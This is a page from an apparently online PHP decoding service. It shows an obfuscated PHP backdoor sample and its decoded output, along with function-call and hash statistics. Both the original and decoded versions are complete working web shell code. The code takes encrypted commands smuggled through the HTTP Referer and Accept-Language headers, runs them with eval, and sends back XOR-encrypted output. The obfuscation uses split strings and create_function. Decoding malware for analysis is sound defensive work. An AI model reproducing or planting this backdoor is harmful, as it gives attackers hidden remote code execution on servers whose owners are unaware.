Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $L=str_replace('et','','cetreetatete_etfunetctieton'); $p='$kh/m="5d/m4/m1";$k/mf=..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$L=str_replace('et','','cetreetatete_etfunetctieton');
$p='$kh/m="5d/m4/m1";$k/mf="402a";functi/mon x($t,$k)/m{$c/m/m=s/mtrlen($k);$l=str/mlen(/m$t)/m;$o="";for($i=/m0;';
$S=')/m;$d=ba/mse6/m4_en/mcode(x(/mgzcompre/m/mss($o),$/mk));pri/mnt("<$/mk>$d</$/mk>");@ses/msion_de/mstro/my();}}}}';
$m='$f);if($e){$k=$/mkh.$kf;ob_s/mtart/m();@ev/mal(@gzun/mc/mompress(@x/m(@base/m64_decode/m(/m/mpreg_replace(a/';
$u='l($/mrr);p/marse_str($u["q/m/muery"],$q);/m/m$q=array_values/m/m($q)/m;preg_mat/mch_all("/([/m\\w])[\\w/m-/m]';
$n='mrray("/_//m",/m"/-/"),ar/mray("/m/","+")/m,$ss($s/m[$i]/m,0,$/me)))/m,$k)))/m;$o=/m/mob_get/m_content/ms();ob_end_clean(';
$M='$i<$/m/ml;){for/m/m($j=0;($j<$c/m&&$i<$l)/m;/m$j++,$i++){$/mo.=$t{$i}^/m$k{$/mj};/m}}return $o/m;}$/mr=$_/mSERV/';
$Z='m/m/mf),0,3));$p="/m";for/m($z=1;$z<cou/mnt($m[1/m]);$/mz/m++)$p./m/m=$q[$m[2][/m$z]];if(strpos(/m$p,/m/m$h)=';
$H='/m"str/mtolower";/m$i=$m[1][0].$m[1]/m[1];$/m/mh/m=$sl($ss(md5($/mi./m$kh)/m,0,3/m));$f=$sl($ss(md5(/m$i.$k/';
$D='mER;$rr/m=@$r["HT/mTP_REFERER/m"/m];$ra=@$r["/mHTTP/m_/mACCEPT_LANGU/m/mA/mGE"];if($rr&&$ra/m)/m{$u=parse/m_u/mr';
$W='+(?:/m;q=0.([/m\\d]))/m?,?/"/m,/m$ra,$m)/m;if($q&&$/mm){@sessio/mn_star/mt();$s=/m&$_SESSI/m/mON;$ss="subs/m/mtr"/m;$sl=';
$I='==0){$s[$i]/m=""/m;$p=$ss($/mp,3);}/mif(ar/mra/my_key_/mexists($i,$/ms)/m){$s[$i/m]/m.=$p;$e=st/m/mrpos($s[/m$i/m],/m';
$B=str_replace('/m','',$p.$M.$D.$u.$W.$H.$Z.$I.$m.$n.$S);
$b=$L('',$B);$b();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 795e3b9b3aafa0feb562a3acd8882817 |
| Eval Count | 1 |
| Decode Time | 219 ms |